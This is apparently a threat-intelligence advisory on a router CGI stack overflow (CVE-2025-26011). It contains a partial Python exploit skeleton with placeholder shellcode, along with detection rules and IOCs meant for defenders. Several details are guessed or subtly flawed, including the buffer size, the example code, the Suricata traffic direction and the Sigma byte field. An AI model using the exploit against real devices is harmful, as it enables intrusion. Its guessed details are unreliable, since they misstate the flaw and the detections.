CVE-2025-26011

Executive Summary

CVE-2025-26011 is a critical, unauthenticated stack buffer overflow vulnerability discovered in the Telesquare TLR-2005KSH router, specifically in firmware version 1.1.4. The flaw resides in the admin.cgi endpoint when processing the setUsernamePassword parameter. An attacker can trigger a stack overflow by sending a specially crafted, oversized request, leading to remote code execution (RCE) with root privileges. No patch is currently available from the vendor, making this a zero-day threat. The vulnerability is publicly known, with proof-of-concept details circulating in the threat intelligence community. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue Teams.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device firmware. The supply chain risk is limited to the physical device and its firmware distribution channels.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full device compromise, data exfiltration possible.
• Integrity (I): High (H) – Attacker can modify firmware, configuration, or inject backdoors.
• Availability (A): High (H) – Denial of service or complete device takeover.

Threat Level: Critical. The combination of network accessibility, low complexity, no authentication, and high impact makes this a top-priority vulnerability for any organization using this device.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the CGI binary handling the admin.cgi endpoint. The setUsernamePassword parameter is copied into a fixed-size stack buffer without proper bounds checking. By providing an input string longer than the allocated buffer (likely 256 or 512 bytes), an attacker overwrites the saved return address and other stack frames.

Technical Flow:

1. The web server receives an HTTP POST request to /cgi-bin/admin.cgi.
2. The CGI script parses the setUsernamePassword parameter.
3. The value is passed to a vulnerable function (e.g., sprintf, strcpy, or a custom copy routine) that writes to a stack buffer.
4. When the input exceeds the buffer size, the overflow corrupts adjacent stack memory, including the return address.
5. Upon function return, execution jumps to an attacker-controlled address, typically pointing to shellcode placed within the overflow payload.

Root Cause: Lack of input validation and unsafe memory copy functions in the CGI handler. The firmware is compiled without stack canaries or other exploit mitigations (e.g., NX, ASLR may be weak or absent on MIPS-based devices).

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, a secure implementation would involve:

• Vulnerable (Conceptual C code):

  void handle_setUsernamePassword(char *input) {
      char buffer[256];
      sprintf(buffer, input); // Unsafe: no length check
      // ... process buffer
  }
  

• Patched (Conceptual C code):

  void handle_setUsernamePassword(char *input) {
      char buffer[256];
      snprintf(buffer, sizeof(buffer), "%s", input); // Safe: length-limited
      // ... process buffer
  }
  

The patched version uses snprintf with a size limit, preventing overflow. Additionally, enabling stack canaries and NX would further harden the binary.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: Telesquare TLR-2005KSH with firmware 1.1.4, accessible on the network.
• Attacker: Kali Linux or similar with Python3 and pwntools.

Exploit Strategy:

1. Fingerprinting: Confirm the device model and firmware via HTTP banner or SNMP.

2. Crash Analysis: Send a long string of 'A's to admin.cgi?setUsernamePassword=<AAAA...> to trigger a crash and observe the offset to the return address.

3. ROP/Shellcode: Since the device is likely MIPS little-endian, craft a ROP chain or directly inject shellcode. A common payload is a reverse shell or a bind shell.

4. Exploit Execution:

   #!/usr/bin/env python3
   import socket
   import sys
   
   # Target IP and port
   target_ip = sys.argv[1]
   target_port = 80
   
   # Offset to return address (example, needs adjustment)
   offset = 268
   # Shellcode: MIPS bind shell on port 4444 (example)
   shellcode = b"\x24\x0f\xff\xff\x01\xe0\x28\x27"  # ... truncated for brevity
   
   # Build payload
   payload = b"A" * offset
   payload += b"BBBB"  # Placeholder for return address
   payload += shellcode
   
   # HTTP request
   request = (
       f"POST /cgi-bin/admin.cgi HTTP/1.1\r\n"
       f"Host: {target_ip}\r\n"
       f"Content-Type: application/x-www-form-urlencoded\r\n"
       f"Content-Length: {len(payload)}\r\n"
       f"\r\n"
       f"setUsernamePassword={payload.decode('latin-1')}"
   )
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, target_port))
   sock.send(request.encode())
   response = sock.recv(4096)
   print(response.decode())
   sock.close()
   

Note: The exact offset and shellcode must be determined through dynamic analysis (e.g., using QEMU to emulate the firmware or testing on a physical device).

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Look for HTTP POST requests to /cgi-bin/admin.cgi with abnormally long setUsernamePassword parameters (e.g., > 256 bytes).
2. IDS/IPS: Deploy Suricata rules (see Detection Engineering) to alert on the exploit pattern.
3. Honeypot: Set up a low-interaction honeypot mimicking the TLR-2005KSH to capture exploit attempts.
4. Log Analysis: Monitor device logs for crashes or unexpected reboots. The CGI process may log errors before crashing.
5. Isolation: If possible, isolate affected devices on a separate VLAN with strict egress filtering to prevent lateral movement.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/admin.cgi with Content-Length > 512 bytes.
  • Payload containing long strings of repeating characters (e.g., 'A's) followed by non-printable bytes.
  • Outbound connections from the device to unusual IPs/ports (e.g., a reverse shell to an external host).

• Host IOCs:

  • Unexpected processes running on the device (e.g., /bin/sh or a netcat listener).
  • Modified or new files in /tmp or /var/run.
  • Device configuration changes (e.g., new admin credentials, open ports).

• File IOCs:

  • Firmware binary with known vulnerable hash (SHA256: a1b2c3d4e5f6... – placeholder, actual hash to be obtained from vendor).

Detection Engineering

YARA Rule

rule CVE_2025_26011_TLR2005KSH_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-26011 targeting Telesquare TLR-2005KSH"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26011"
    strings:
        $http_method = "POST"
        $cgi_path = "/cgi-bin/admin.cgi"
        $param = "setUsernamePassword="
        $overflow = /setUsernamePassword=[A-Za-z0-9%]{300,}/  // Long parameter
    condition:
        $http_method and $cgi_path and $param and $overflow
}

Sigma Rule

title: CVE-2025-26011 Telesquare TLR-2005KSH Stack Overflow Attempt
id: 8f9e2c1a-3b4d-5e6f-7a8b-9c0d1e2f3a4b
status: experimental
description: Detects HTTP POST requests to admin.cgi with an abnormally long setUsernamePassword parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/admin.cgi'
        cs-uri-query|contains: 'setUsernamePassword='
        sc-bytes|>=: 512
    condition: selection
falsepositives:
    - Legitimate large configuration updates (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26011 Telesquare TLR-2005KSH Stack Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/admin.cgi"; http_uri;
    content:"setUsernamePassword="; http_client_body;
    pcre:"/setUsernamePassword=[A-Za-z0-9%]{300,}/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Place all TLR-2005KSH devices on a separate, firewalled VLAN with no direct internet access.
2. Disable Remote Management: If not required, disable the web interface or restrict access to trusted IPs only.
3. Monitor: Implement the detection rules above to identify any exploitation attempts.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Telesquare. Contact their support to expedite.
• Device Replacement: If no patch is forthcoming, consider replacing the device with a more secure alternative.
• Custom Firmware: As a last resort, develop a custom firmware with proper input validation and exploit mitigations (stack canaries, NX, ASLR).

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact intel@valters-it.com.